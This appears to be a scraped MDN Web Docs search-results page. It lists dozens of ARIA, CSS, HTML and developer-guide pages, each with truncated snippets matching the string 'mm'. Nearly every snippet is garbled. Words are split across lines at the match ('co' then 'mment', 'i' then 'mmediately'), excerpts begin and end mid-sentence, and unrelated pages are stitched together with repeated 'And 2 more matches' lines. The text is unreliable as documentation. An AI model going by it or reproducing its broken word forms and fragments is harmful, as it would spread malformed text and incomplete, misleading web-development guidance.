mmedia capabilities api media capture and streamsmedia session apimedia source extensions mediastream recordingnnavigation timingnetwork information api ppage visibility apipayment request apiperformance apiperformance timeline apipermissions apipointer eventspointer lock apiproximity events push api rresize observer apiresource timing apisserver sent eventsservice workers apistoragestorage acc...
...aesctrparams aesgcmparams aeskeygenparams ambientlightsensor analysernode animation animationeffect animationevent animationplaybackevent animationtimeline arraybufferview attr audiobuffer audiobuffersourcenode audioconfiguration audiocontext audiocontextlatencycategory audiocontextoptions audiodestinationnode audiolistener audionode audionodeoptions audioparam audioparamdescriptor audiopara
mmap audioprocessingevent audioscheduledsourcenode audiotrack audiotracklist audioworklet audioworkletglobalscope audioworkletnode audioworkletnodeoptions audioworkletprocessor authenticatorassertionresponse authenticatorattestationresponse authenticatorresponse b baseaudiocontext basiccardrequest basiccardresponse batterymanager beforeinstallpromptevent beforeunloadevent biquadfilterno...
...cssstylevalue csssupportsrule cssunitvalue cssunparsedvalue cssvalue cssvaluelist cssvariablereferencevalue cache cachestorage canvascapturemediastreamtrack canvasgradient canvasimagesource canvaspattern canvasrenderingcontext2d caretposition channelmergernode channelsplitternode characterdata childnode client clients clipboard clipboardevent clipboarditem closeevent co
mment compositionevent constantsourcenode constrainboolean constraindomstring constraindouble constrainulong contentindex contentindexevent convolvernode countqueuingstrategy crashreportbody credential credentialscontainer crypto cryptokey cryptokeypair customelementregistry customevent d domconfiguration domerror domexception domhighrestimestamp domimplementation domimplementationlis...
...And 2 more matches
ARIA Test Cases - Accessibility
the above is a suggested series of behaviors i as an end user would want to experience when dealing with aria drag and drop, but it has no basis to go on, unlike co
mmon controls, for example.
...when the user changes the state, the new state should be spoken i
mmediately.
... (mz) this may be the menu bar or higher level menu item, or a control that gains focus after the menu was closed after executing a co
mmand.
...And 2 more matches
ARIA: feed role - Accessibility
examples include an rss feed, news feeds, social media feeds like facebook, instagram or twitter, or even a list of related products on an eco
mmerce page.
... to ensure good user experience, avoid inserting or removing articles in the middle of a feed, load new articles before the user has reached the end of the feed, and provide keyboard co
mmands for moving focus among articles so that keyboard users can navigate through your feed.
... keyboard interaction supporting the following, or a similar, interface is reco
mmended when focus is inside the feed: page down: move focus to next article.
...And 2 more matches
ARIA: Mark role - Accessibility
examples in the following example we have a document section that has been co
mmented.
... the co
mmented section is marked up using <span role="mark">.
... <p>the last half of the song is a slow-rising crescendo that peaks at the <span role="mark" aria-details="thread-1">end of the guitar solo</span>, before fading away sharply.</p> <div role="co
mment" id="thread-1" data-author="chris"> <h3>chris said</h3> <p class="co
mment-text">i really think this moment could use more cowbell.</p> <p><time datetime="2019-03-30t19:29">march 30 2019, 19:29</time></p> </div> the related co
mment is marked up using an html structure wrapped with a <div> containing role="co
mment".
...And 2 more matches
ARIA: Region role - Accessibility
by classifying and labeling sections of a page, structural information conveyed visually through layout is represented progra
mmatically.
... the region role should be reserved for sections of content sufficiently important that users will likely want to navigate to the section easily and to have it listed in a su
mmary of the page.
... using the <section> element will automatically co
mmunicate a section has a role of region if it is given an accessible name.
...And 2 more matches
Understanding the Web Content Accessibility Guidelines - Accessibility
this set of articles provides quick explanations to help you understand the steps that need to be taken to conform to the reco
mmendations outlined in the w3c web content accessibility guidelines 2.0 or 2.1 (or just wcag, for the purposes of this writing).
...for this reason, we have su
mmarised the practical steps you need to take to satisfy the different reco
mmendations, with further links to more details where required.
...buttons must be clickable in some way — mouse, keyboard, voice co
mmand, etc.).
...And 2 more matches
::first-line (:first-line) - CSS: Cascading Style Sheets
?</p> <span>the first line of this text will not receive special styling because it is not a block-level element.</span> css ::first-line { color: blue; text-transform: uppercase; /* warning: do not use these */ /* many properties are invalid in ::first-line pseudo-elements */ margin-left: 20px; text-indent: 20px; } result specifications specification status co
mment css pseudo-elements level 4the definition of '::first-line' in that specification.
... candidate reco
mmendation allows the use of text-shadow with ::first-letter.
... reco
mmendation introduction of the two-colon syntax.
...And 2 more matches
font-weight - CSS: Cascading Style Sheets
certain co
mmonly used values correspond to co
mmon weight names, as described in the co
mmon weight name mapping section below.
... co
mmon weight name mapping the numerical values 100 to 900 roughly correspond to the following co
mmon weight names: value co
mmon weight name 100 thin (hairline) 200 extra light (ultra light) 300 light 400 normal 500 medium 600 semi bold (demi bold) 700 bold 800 extra bold (ultra bold) ...
... 900 black (heavy) variable fonts most fonts have a particular weight which corresponds to one of the numbers in co
mmon weight name mapping.
...And 2 more matches
Variable fonts guide - CSS: Cascading Style Sheets
this allows for co
mmon typographic techniques such as setting different size headings in different weights for better readability at each size, or using a slightly narrower width for data-dense displays.
...in all cases, it is still possible to link them with a co
mmon font-family name so you can call them using the same font-family and appropriate font-style.
... as defined in the specification, there are two kinds of axes: registered and custom: registered axes are simply those that are most frequently encountered, and co
mmon enough that the authors of the specification felt it was worth standardizing.
...And 2 more matches
CSS Images - CSS: Cascading Style Sheets
implementing image sprites in css describes the co
mmon technique grouping several images in one single document to save download requests and speed up the availability of a page.
... specifications specification status co
mment css images module level 4 working draft added image-resolution, conic-gradient(), and image() css images module level 3 candidate reco
mmendation added image-orientation, image-rendering, object-fit and object-position compatibility standardthe definition of 'css gradients' in that specification.
... candidate reco
mmendation css level 2 (revision 1)the definition of '<uri>' in that specification.
...And 2 more matches
Using CSS transitions - CSS: Cascading Style Sheets
instead of having property changes take effect i
mmediately, you can cause the changes in a property to take place over a period of time.
...the specification reco
mmends not animating from and to auto.
...ation: 3s, 5s, 3s, 5s; } similarly, if any property's value list is longer than that for transition-property, it's truncated, so if you have the following css: div { transition-property: opacity, left; transition-duration: 3s, 5s, 2s, 1s; } this gets interpreted as: div { transition-property: opacity, left; transition-duration: 3s, 5s; } using transitions when highlighting menus a co
mmon use of css is to highlight items in a menu as the user hovers the mouse cursor over them.
...And 2 more matches
Descendant combinator - CSS: Cascading Style Sheets
additionally, the white space characters of which the combinator is comprised may contain any number of css co
mments.
...eclarations */ } examples css li { list-style-type: disc; } li li { list-style-type: circle; } html <ul> <li> <div>item 1</div> <ul> <li>subitem a</li> <li>subitem b</li> </ul> </li> <li> <div>item 2</div> <ul> <li>subitem a</li> <li>subitem b</li> </ul> </li> </ul> result specifications specification status co
mment selectors level 4the definition of 'descendant combinator' in that specification.
... reco
mmendation css level 2 (revision 1)the definition of 'descendant selectors' in that specification.
...And 2 more matches
CSS reference - CSS: Cascading Style Sheets
insetinset()inset-blockinset-block-endinset-block-startinset-inlineinset-inline-endinset-inline-start<integer>:invalidinvert()isolationjjustify-contentjustify-itemsjustify-selfkkhz@keyframesl:lang:last-child:last-of-typeleader():leftleft@left-bottom<length><length-percentage>letter-spacingline-breakline-heightlinear-gradient():linklist-stylelist-style-imagelist-style-positionlist-style-typelocal()
mmarginmargin-blockmargin-block-endmargin-block-startmargin-botto
mmargin-inlinemargin-inline-endmargin-inline-startmargin-leftmargin-rightmargin-top::markermarks (@page)maskmask-bordermask-border-modemask-border-outsetmask-border-repeatmask-border-slicemask-border-sourcemask-border-widthmask-clipmask-compositemask-imagemask-modemask-originmask-positionmask-repeatmask-sizemask-typematrix()matrix3d()m...
...ax()max-block-sizemax-heightmax-height (@viewport)max-inline-sizemax-widthmax-width (@viewport)max-zoom (@viewport)@mediamin()min-block-sizemin-heightmin-height (@viewport)min-inline-sizemin-widthmin-width (@viewport)min-zoom (@viewport)minmax()mix-blend-mode
mmmsn@namespacenegative (@counter-style):not:nth-child:nth-last-child:nth-last-of-type:nth-of-type<number>oobject-fitobject-positionoffsetoffset-anchoroffset-distanceoffset-pathoffset-rotate:only-child:only-of-typeopacityopacity():optionalorderorientation (@viewport)@ornamentsornaments()orphans:out-of-rangeoutlineoutline-coloroutline-offsetoutline-styleoutline-widthoverflowoverflow-anchoroverflow-blockoverflow-inlineoverflow-wrapoverflow-xoverflow-yoverscroll-behavioroverscroll-behavior-blockoverscroll-behavior-inlineoverscroll-behavior-...
... combinators combinators are selectors that establish a relationship between two or more simple selectors, such as "a is a child of b" or "a is adjacent to b." adjacent sibling combinator a + b specifies that the elements selected by both a and b have the same parent and that the element selected by b i
mmediately follows the element selected by a horizontally.
...And 2 more matches
Selector list - CSS: Cascading Style Sheets
/* selects all matching elements */ span, div { border: red 2px solid; } to reduce the size of style sheets, one can group selectors in co
mma-separated lists.
... syntax element, element, element { style properties } examples single line grouping grouping selectors in a single line using a co
mma-separated lists.
... h1, h2, h3, h4, h5, h6 { font-family: helvetica; } multi line grouping grouping selectors in a multiple lines using a co
mma-separated lists.
...And 2 more matches
animation-delay - CSS: Cascading Style Sheets
the animation can start later, i
mmediately from its beginning, or i
mmediately and partway through the animation.
... a negative value causes the animation to begin i
mmediately, but partway through its cycle.
... for example, if you specify -1s as the animation delay time, the animation will begin i
mmediately but will start 1 second into the animation sequence.
...And 2 more matches
background-attachment - CSS: Cascading Style Sheets
you can specify a different <attachment> for each background, separated by co
mmas.
...</p> css p { background-image: url("https://mdn.mozillademos.org/files/12057/starsolid.gif"), url("https://mdn.mozillademos.org/files/12059/startransparent.gif"); background-attachment: fixed, scroll; background-repeat: no-repeat, repeat-y; } result specifications specification status co
mment css backgrounds and borders module level 3the definition of 'background-attachment' in that specification.
... candidate reco
mmendation the shorthand property has been extended to support multiple backgrounds and the local value.
...And 2 more matches
background-position - CSS: Cascading Style Sheets
/* edge offsets values */ background-position: bottom 10px right 20px; background-position: right 3em bottom 10px; background-position: bottom 10px right; background-position: top right 10px; /* global values */ background-position: inherit; background-position: initial; background-position: unset; the background-position property is specified as one or more <position> values, separated by co
mmas.
...*/ .examplethree { background-image: url("https://mdn.mozillademos.org/files/11987/startransparent.gif"), url("https://mdn.mozillademos.org/files/7693/catfront.png"); background-position: 0px 0px, right 3em bottom 2em; } result specifications specification status co
mment css backgrounds and borders module level 3the definition of 'background-position' in that specification.
... candidate reco
mmendation adds support for multiple backgrounds and the four-value syntax.
...And 2 more matches
box-shadow - CSS: Cascading Style Sheets
you can set multiple effects separated by co
mmas.
...ues */ box-shadow: none; /* offset-x | offset-y | color */ box-shadow: 60px -16px teal; /* offset-x | offset-y | blur-radius | color */ box-shadow: 10px 5px 5px black; /* offset-x | offset-y | blur-radius | spread-radius | color */ box-shadow: 2px 2px 2px 1px rgba(0, 0, 0, 0.2); /* inset | offset-x | offset-y | color */ box-shadow: inset 5em 1em gold; /* any number of shadows, separated by co
mmas */ box-shadow: 3px 3px red, -1em 0 0.4em olive; /* global keywords */ box-shadow: inherit; box-shadow: initial; box-shadow: unset; specify a single box-shadow using: two, three, or four <length> values.
... to specify multiple shadows, provide a co
mma-separated list of shadows.
...And 2 more matches
color - CSS: Cascading Style Sheets
text red the following are all ways to make a paragraph's text red: p { color: red; } p { color: #f00; } p { color: #ff0000; } p { color: rgb(255,0,0); } p { color: rgb(100%, 0%, 0%); } p { color: hsl(0, 100%, 50%); } /* 50% translucent */ p { color: #ff000080; } p { color: rgba(255, 0, 0, 0.5); } p { color: hsla(0, 100%, 50%, 0.5); } specifications specification status co
mment css color module level 4the definition of 'color' in that specification.
... working draft adds co
mmaless syntaxes for the rgb(), rgba(), hsl(), and hsla() functions.
... reco
mmendation deprecates system-colors.
...And 2 more matches
cursor - CSS: Cascading Style Sheets
x /* keyword value */ cursor: pointer; cursor: auto; /* url, with a keyword fallback */ cursor: url(hand.cur), pointer; /* url and coordinates, with a keyword fallback */ cursor: url(cursor1.png) 4 12, auto; cursor: url(cursor2.png) 2 2, pointer; /* global values */ cursor: inherit; cursor: initial; cursor: unset; the cursor property is specified as zero or more <url> values, separated by co
mmas, followed by a single mandatory keyword value.
... for example, this specifies two images using <url> values, providing <x><y> coordinates for the second one, and falling back to the progress keyword value if neither image can be loaded: cursor: url(one.svg), url(two.svg) 5 5, progress; values <url> a url(…) or a co
mma separated list url(…), url(…), …, pointing to an image file.
...ze | w-resize | ew-resize | ns-resize | nesw-resize | nwse-resize | col-resize | row-resize | all-scroll | zoom-in | zoom-out | grab | grabbing ] ] examples setting cursor types .foo { cursor: crosshair; } .bar { cursor: zoom-in; } /* a fallback keyword value is required when using a url */ .baz { cursor: url("hyper.cur"), auto; } specifications specification status co
mment css basic user interface module level 3the definition of 'cursor' in that specification.
...And 2 more matches
<custom-ident> - CSS: Cascading Style Sheets
specifications specification status co
mment css values and units module level 4the definition of '<custom-ident>' in that specification.
... candidate reco
mmendation defines which values are excluded for will-change.
... candidate reco
mmendation uses <custom-ident> instead of a finite list of keywords.
...And 2 more matches
font - CSS: Cascading Style Sheets
line-height must i
mmediately follow font-size, preceded by "/", like this: "16px/3" font-family must be the last value specified.
... injectcss(shorttext); } injectcss = function(cssfragment) { old = document.body.getelementsbytagname("style"); if (old.length > 1) { old[1].parentelement.removechild(old[1]); } css = document.createelement("style"); css.innerhtml = ".fontshorthand{font: " + cssfragment + "}"; document.body.appendchild(css); } setcss(); specifications specification status co
mment css fonts module level 3the definition of 'font' in that specification.
... candidate reco
mmendation added support for font-stretch values.
...And 2 more matches
margin-left - CSS: Cascading Style Sheets
this table su
mmarizes the different cases: value of display value of float value of position computed value of auto co
mment inline, inline-block, inline-table any static or relative 0 inline layout mode block, inline, inline-block, block, table, inline-table, list-item, table-caption any static or relative 0, except if both ma...
...nopercentagesrefer to the width of the containing blockcomputed valuethe percentage as specified or the absolute lengthanimation typea length formal syntax <length> | <percentage> | auto examples setting left margin using pixels and percentages .content { margin-left: 5%; } .sidebox { margin-left: 10px; } .logo { margin-left: -5px; } specifications specification status co
mment css basic box modelthe definition of 'margin-left' in that specification.
... candidate reco
mmendation defines the behavior of margin-left on flex items.
...And 2 more matches
margin-right - CSS: Cascading Style Sheets
this table su
mmarizes the different cases: value of display value of float value of position computed value of auto co
mment inline, inline-block, inline-table any static or relative 0 inline layout mode block, inline, inline-block, block, table, inline-table, list-item, table-caption any static or relative 0, except if both ma...
...rcentagesrefer to the width of the containing blockcomputed valuethe percentage as specified or the absolute lengthanimation typea length formal syntax <length> | <percentage> | auto examples setting right margin using pixels and percentages .content { margin-right: 5%; } .sidebox { margin-right: 10px; } .logo { margin-right: -5px; } specifications specification status co
mment css basic box modelthe definition of 'margin-right' in that specification.
... candidate reco
mmendation defines the behavior of margin-right on flex items.
...And 2 more matches
overflow-block - CSS: Cascading Style Sheets
ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea co
mmodo consequat.
...ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea co
mmodo consequat.
...ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea co
mmodo consequat.
...And 2 more matches
<position> - CSS: Cascading Style Sheets
examples valid positions center left center top right 8.5% bottom 12vmin right -6px 10% 20% 8rem 14px invalid positions left right bottom top 10px 15px 20px 15px specifications specification status co
mment css values and units module level 3the definition of '<position>' in that specification.
... candidate reco
mmendation relists links to both definitions: if css backgrounds and borders module level 3 is supported, its definition of <position> must also be used.
... candidate reco
mmendation defines <position> explicitly and extends it to support offsets from any edge.
...And 2 more matches
<ratio> - CSS: Cascading Style Sheets
} co
mmon aspect ratios ratio usage 4/3 traditional tv format in the 20th century.
... 185/100 = 91/50 the most co
mmon movie format since the 1960s.
... specifications specification status co
mment media queries level 4the definition of '<ratio>' in that specification.
...And 2 more matches
text-indent - CSS: Cascading Style Sheets
syntax /* <length> values */ text-indent: 3
mm; text-indent: 40px; /* <percentage> value relative to the containing block width */ text-indent: 15%; /* keyword values */ text-indent: 5em each-line; text-indent: 5em hanging; text-indent: 5em hanging each-line; /* global values */ text-indent: inherit; text-indent: initial; text-indent: unset; values <length> indentation is specified as an absolute <length>.
...&& each-line?where <length-percentage> = <length> | <percentage> examples simple indent html <p>lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonu
mmy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.</p> <p>lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonu
mmy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.</p> css p { text-indent: 5em; background: powderblue; } result percentage indent html <p>lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam...
... nonu
mmy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.</p> <p>lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonu
mmy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.</p> css p { text-indent: 30%; background: plum; } result specifications specification status co
mment css text module level 3the definition of 'text-indent' in that specification.
...And 2 more matches
white-space - CSS: Cascading Style Sheets
the following table su
mmarizes the behavior of the various white-space values: new lines spaces and tabs text wrapping end-of-line spaces normal collapse collapse wrap remove nowrap collapse collapse no wrap remove pre preserve preserve no wrap preserve pre-wrap preserve preserve wrap hang pre-line p...
... ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea co
mmodo consequat.
...ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea co
mmodo consequat.
...And 2 more matches
Block formatting context - Developer guides
if you use overflow, it is a good idea to co
mment the code to explain.
... collapsing creating a new bfc to avoid the margin collapsing between two neighbor div: html <div class="blue"></div> <div class="red-outer"> <div class="red-inner">red inner</div> </div> css .blue, .red-inner { height: 50px; margin: 10px 0; } .blue { background: blue; } .red-outer { overflow: hidden; background: red; } specifications specification status co
mment css display module level 3the definition of 'block formatting context' in that specification.
... candidate reco
mmendation define bfc(abbr) etc.
...And 2 more matches
Overview of events and handlers - Developer guides
this overview of events and event handling explains the code design pattern used to react to incidents occurring when a browser accesses a web page, and it su
mmarizes the types of such incidents modern web browsers can handle.
... events and event handling become central to web progra
mming with the addition of the language to browsers, accompanying a switch in the rendering architecture of browsers from fetch and load page rendering to event driven, reflow based, page rendering.
... the event design pattern the event system, at its core, is simply a progra
mming design pattern.
...And 2 more matches
Using device orientation with 3D transforms - Developer guides
using orientation to rotate an element the easiest way to convert orientation data to a 3d transform is basically to use the alpha, ga
mma, and beta values as rotatez, rotatex and rotatey values.
... there are however two corrections that should be applied to those values: the initial alpha value is 180 (device flat on the back, top of the screen pointing 12:00), so the rotatez value should be alpha - 180 the y axis of the screen coordinate system is inverted, such that translatey(100px) moves an element 100px down, so the rotatey value should be -ga
mma finally, the order of the three different rotations is very important to accurately convert an orientation to a 3d rotation: rotatez, then rotatex and then rotatey.
... here's a simple code snippet to sum it up: var elem = document.getelementbyid("view3d"); window.addeventlistener("deviceorientation", function(e) { // remember to use vendor-prefixed transform property elem.style.transform = "rotatez(" + ( e.alpha - 180 ) + "deg) " + "rotatex(" + e.beta + "deg) " + "rotatey(" + ( -e.ga
mma ) + "deg)"; }); orientation compensation compensating the orientation of the device can be useful to create parallax effects or augmented reality.
...And 2 more matches
Using HTML sections and outlines - Developer guides
semantic sectioning elements are specifically designed to co
mmunicate structural meaning to browsers and other technologies interpreting the document on behalf of users, such as screen readers and voice assistants.
...it does not refer to the main content alone and can be used for co
mments and widgets.
... html elements in <nav> while list elements are co
mmon for navigation they are not required.
...And 2 more matches
User input and controls - Developer guides
this article provides reco
mmendations for managing user input and implementing controls in open web apps, along with faqs, real-world examples, and links to further information for anyone needing more detailed information on the underlying technologies.
... reco
mmendations available input mechanisms depend on the capabilities of the device running the application: some devices provide touchscreen displays: the web platform offers touch events to interpret finger activity on touch-based user interfaces.
... the following is a set of reco
mmendations and best practices for using such tools in open web apps.
...And 2 more matches
<h1>–<h6>: The HTML Section Heading elements - HTML: Hypertext Markup Language
<h1>heading elements</h1> <h2>su
mmary</h2> <p>some text here...</p> <h2>examples</h2> <h3>example 1</h3> <p>some text here...</p> <h3>example 2</h3> <p>some text here...</p> <h2>see also</h2> <p>some text here...</p> here is the result of this code: accessibility concerns navigation a co
mmon navigation technique for users of screen reading software is jumping from heading to heading to quickly determine the content of th...
...ing wcag, guideline 1.3 explanations understanding success criterion 1.3.1 | w3c understanding wcag 2.0 mdn understanding wcag, guideline 2.4 explanations understanding success criterion 2.4.1 | w3c understanding wcag 2.0 understanding success criterion 2.4.6 | w3c understanding wcag 2.0 understanding success criterion 2.4.10 | w3c understanding wcag 2.0 labeling section content another co
mmon navigation technique for users of screen reading software is to generate a list of sectioning content and use it to determine the page's layout.
... using the aria-labelledby attribute labeling regions • page structure • w3c wai web accessibility tutorials specifications specification status co
mment html living standardthe definition of '<h1>, <h2>, <h3>, <h4>, <h5>, and <h6>' in that specification.
...And 2 more matches
<acronym> - HTML: Hypertext Markup Language
su
mmary the html acronym element (<acronym>) allows authors to clearly indicate a sequence of characters that compose an acronym or abbreviation for a word.
... attributes this element only has global attributes, which are co
mmon to all elements.
... it is therefore reco
mmended that web authors either explicitly style this element, or accept some cross-browser variation.
...And 2 more matches
<applet>: The Embed Java Applet element - HTML: Hypertext Markup Language
example html <applet code="game.class" align="left" archive="game.zip" height="250" width="350"> <param name="difficulty" value="easy"> <b>sorry, you need java to play this game.</b> </applet> specifications specification status co
mment html 5.2the definition of '<applet>' in that specification.
... reco
mmendation html 5.1the definition of '<applet>' in that specification.
... reco
mmendation html5the definition of '<applet>' in that specification.
...And 2 more matches
<button>: The Button element - HTML: Hypertext Markup Language
for
mmethod html5 if the button is a submit button (it's inside/associated with a <form> and doesn't have type="button"), this attribute specifies the http method used to submit the form.
...a minimum interactive size of 44×44 css pixels is reco
mmended.
... mobile browsers ios 7.1.2 android 4.4.4 safari mobile no (even with a tabindex) n/a chrome 35 no (even with a tabindex) yes specifications specification status co
mment html living standardthe definition of '<button>' in that specification.
...And 2 more matches
<dt>: The Description Term element - HTML: Hypertext Markup Language
it is usually followed by a <dd> element; however, multiple <dt> elements in a row indicate several terms that are all defined by the i
mmediate next <dd> element.
...the end tag may be omitted if this element is i
mmediately followed by another <dt> or a <dd> element, or if there is no more content in the parent element.
... specifications specification status co
mment html living standardthe definition of '<dt>' in that specification.
...And 2 more matches
<em>: The Emphasis element - HTML: Hypertext Markup Language
use the <i> element to mark text that is in an alternate tone or mood, which covers many co
mmon situations for italics such as scientific names or words in other languages.
...<em> and <i> are a co
mmon example, since they both italicize text.
...</p> result specifications specification status co
mment html living standardthe definition of '<em>' in that specification.
...And 2 more matches
<html>: The HTML Document / Root element - HTML: Hypertext Markup Language
tag omission the start tag may be omitted if the first thing inside the <html> element is not a co
mment.
... the end tag may be omitted if the <html> element is not i
mmediately followed by a co
mment.
... mdn understanding wcag, guideline 3.1 explanations understanding success criterion 3.1.1 | w3c understanding wcag 2.0 specifications specification status co
mment html living standardthe definition of '<html>' in that specification.
...And 2 more matches
<input type="hidden"> - HTML: Hypertext Markup Language
supported co
mmon attributes autocomplete idl attributes value methods none.
... additional attributes in addition to the attributes co
mmon to all <input> elements, hidden inputs offer the following attributes: attribute description name like all input types, the name of the input to report when submitting the form; the special value _charset_ causes the hidden input's value to be reported as the character encoding used to submit the form name this is actually one of the co
mmon attributes, but i...
... tracking edited content one of the most co
mmon uses for hidden inputs is to keep track of what database record needs to be updated when an edit form is submitted.
...And 2 more matches
<input type="password"> - HTML: Hypertext Markup Language
value a domstring representing a password, or empty events change and input supported co
mmon attributes autocomplete, inputmode, maxlength, minlength, pattern, placeholder, readonly, required, and size idl attributes selectionstart, selectionend, selectiondirection, and value methods select(), setrangetext(), and setselectionrange() value the value attribute contains a domstring whose value is the current contents of the text editing control being use...
... use of a pattern is strongly reco
mmended for password inputs, in order to help ensure that valid passwords using a wide assortment of character classes are selected and used by your users.
... <label for="userpassword">password: </label> <input id="userpassword" type="password" required> <input type="submit" value="submit"> specifying an input mode if your reco
mmended (or required) password syntax rules would benefit from an alternate text entry interface than the standard keyboard, you can use the inputmode attribute to request a specific one.
...And 2 more matches
<input type="radio"> - HTML: Hypertext Markup Language
events change and input supported co
mmon attributes checked and value idl attributes checked and value methods select() value the value attribute is a domstring containing the radio button's value.
... it's fairly unco
mmon to actually want to allow the form to be submitted without any of the radio buttons in a group selected, so it is usually wise to have one default to the checked state.
... additional attributes in addition to the co
mmon attributes shared by all <input> elements, radio inputs support the following attributes: attribute description checked a boolean indicating whether or not this radio button is the currently-selected item in the group value the string to use as the value of the radio when submitting the form, if the radio is currently toggled on checked a boolean...
...And 2 more matches
<input type="search"> - HTML: Hypertext Markup Language
events change and input supported co
mmon attributes autocomplete, list, maxlength, minlength, pattern, placeholder, required, size.
... basic example <form> <div> <input type="search" id="mysearch" name="q"> <button>search</button> </div> </form> this renders like so: q is the most co
mmon name given to search inputs, although it's not mandatory.
...look at the following example: <form> <div> <input type="search" id="mysearch" name="q" placeholder="search the site..."> <button>search</button> </div> </form> you can see how the placeholder is rendered below: search form labels and accessibility one problem with search forms is their accessibility; a co
mmon design practice is not to provide a label for the search field (although there might be a magnifying glass icon or similar), as the purpose of a search form is normally fairly obvious for sighted users due to placement (this example shows a typical pattern).
...And 2 more matches
<input type="submit"> - HTML: Hypertext Markup Language
<input type="submit" value="send request"> value a domstring used as the button's label events click supported co
mmon attributes type and value idl attributes value methods none value an <input type="submit"> element's value attribute contains a domstring which is displayed as the button's label.
...it"> additional attributes in addition to the attributes shared by all <input> elements, submit button inputs support the following attributes: attribute description formaction the url to which to submit the form's data; overrides the form's action attribute, if any formenctype a string specifying the encoding type to use for the form data for
mmethod the http method (get or post) to use when submitting the form.
... for
mmethod a string indicating the http method to use when submitting the form's data; this value overrides any method attribute given on the owning form.
...And 2 more matches
<input type="url"> - HTML: Hypertext Markup Language
value a domstring representing a url, or empty events change and input supported co
mmon attributes autocomplete, list, maxlength, minlength, pattern, placeholder, readonly, required and size idl attributes list, value, selectionend, selectiondirection methods select(), setrangetext() and setselectionrange().
...this doesn't limit the user to those options, but does allow them to select co
mmonly-used urls more quickly.
... } input:valid+span:after { position: absolute; content: '✓'; padding-left: 5px; } <form> <div> <label for="myurl">enter the problem website address:</label> <input id="myurl" name="myurl" type="url" required pattern=".*\.myco\..*" title="the url must be in a myco domain"> <span class="validity"></span> </div> <div> <label for="myco
mment">what is the problem?</label> <input id="myco
mment" name="myco
mment" type="text" required> <span class="validity"></span> </div> <div> <button>submit</button> </div> </form> first of all, the required attribute is specified, making it mandatory that a valid email address be provided.
...And 2 more matches
<kbd>: The Keyboard Input element - HTML: Hypertext Markup Language
examples basic example <p>use the co
mmand <kbd>help myco
mmand</kbd> to view documentation for the co
mmand "myco
mmand".</p> representing keystrokes within an input to describe an input comprised of multiple keystrokes, you can nest multiple <kbd> elements, with an outer <kbd> element representing the overall input and each individual keystroke or component of the input enclosed within its own <kbd>.
... <p>if a syntax error occurs, the tool will output the initial co
mmand you typed for your review:</p> <blockquote> <samp><kbd>custom-git ad my-new-file.cpp</kbd></samp> </blockquote> representing onscreen input options nesting a <samp> element inside a <kbd> element represents input which is based on text presented by the system, such as the names of menus and menu items, or the names of buttons displayed on the screen.
... result specifications specification status co
mment html living standardthe definition of '<kbd>' in that specification.
...And 2 more matches
Standard metadata names - HTML: Hypertext Markup Language
description: a short and accurate su
mmary of the content of the page.
... keywords: words relevant to the page's content separated by co
mmas.
...it is highly reco
mmended to make use of the safe area inset variables to ensure that important content doesn't end up outside the display.
...And 2 more matches
<rtc>: The Ruby Text Container element - HTML: Hypertext Markup Language
tag omission the closing tag can be omitted if it is i
mmediately followed by a <rb>, <rtc> or <rt> element opening tag or by its parent closing tag.
... examples <div class="info"> <ruby> <rbc> <rb>旧</rb><rt>jiù</rt> <rb>金</rb><rt>jīn</rt> <rb>山</rb><rt>shān</rt> </rbc> <rtc>san francisco</rtc> </ruby> </div> .info { padding-top: 10px; font-size: 36px; } specifications specification status co
mment html 5.2the definition of '<rtc>' in that specification.
... reco
mmendation html 5.1the definition of '<rtc>' in that specification.
...And 2 more matches
<script>: The Script element - HTML: Hypertext Markup Language
the <script> element can also be used with other languages, such as webgl's glsl shader progra
mming language and json.
... notes scripts without async , defer or type="module" attributes, as well as inline scripts, are fetched and executed i
mmediately, before the browser continues to parse the page.
... <!-- generated by the server --> <script id="data" type="application/json">{"userid":1234,"username":"john doe","membersince":"2000-01-01t00:00:00.000z"}</script> <!-- static --> <script> const userinfo = json.parse(document.getelementbyid("data").text); console.log("user information: %o", userinfo); </script> specifications specification status co
mments html living standardthe definition of '<script>' in that specification.
...And 2 more matches
<select>: The HTML Select element - HTML: Hypertext Markup Language
usage notes selecting multiple options on a desktop computer, there are a number of ways to select multiple options in a <select> element with a multiple attribute: mouse users can hold the ctrl, co
mmand, or shift keys (depending on what makes sense for your operating system) and then click multiple options to select/deselect them.
... technical su
mmary content categories flow content, phrasing content, interactive content, listed, labelable, resettable, and submittable form-associated element permitted content zero or more <option> or <optgroup> elements.
... implicit aria role combobox with no multiple attribute and no size attribute greater than 1, otherwise listbox permitted aria roles menu with no multiple attribute and no size attribute greater than 1, otherwise no role permitted dom interface htmlselectelement specifications specification status co
mments html living standardthe definition of '<select>' in that specification.
...And 2 more matches
<strong>: The Strong Importance element - HTML: Hypertext Markup Language
<b> and <strong> are perhaps one of the most co
mmon sources of confusion, causing developers to ask "should i use <b> or <strong>?
...co
mmunicating meaning is what semantics are all about.
... examples basic example <p>before proceeding, <strong>make sure you put on your safety goggles</strong>.</p> the resulting output: labeling warnings <p><strong>important:</strong> before proceeding, make sure you add plenty of butter.</p> this results in: specifications specification status co
mment html living standardthe definition of '<strong>' in that specification.
...And 2 more matches
<sup>: The Superscript element - HTML: Hypertext Markup Language
examples exponents exponents, or powers of a number, are among the most co
mmon uses of superscripted text.
... for example: <p>one of the most co
mmon equations in all of physics is <var>e</var>=<var>m</var><var>c</var><sup>2</sup>.<p> the resulting output looks like this: superior lettering superior lettering is not technically the same thing as superscript.
... however, it is co
mmon to use <sup> to present superior lettering in html.
...And 2 more matches
<table>: The Table element - HTML: Hypertext Markup Language
su
mmary this attribute defines an alternative text that su
mmarizes the content of the table.
... mdn adding a caption to your table with <caption> caption & su
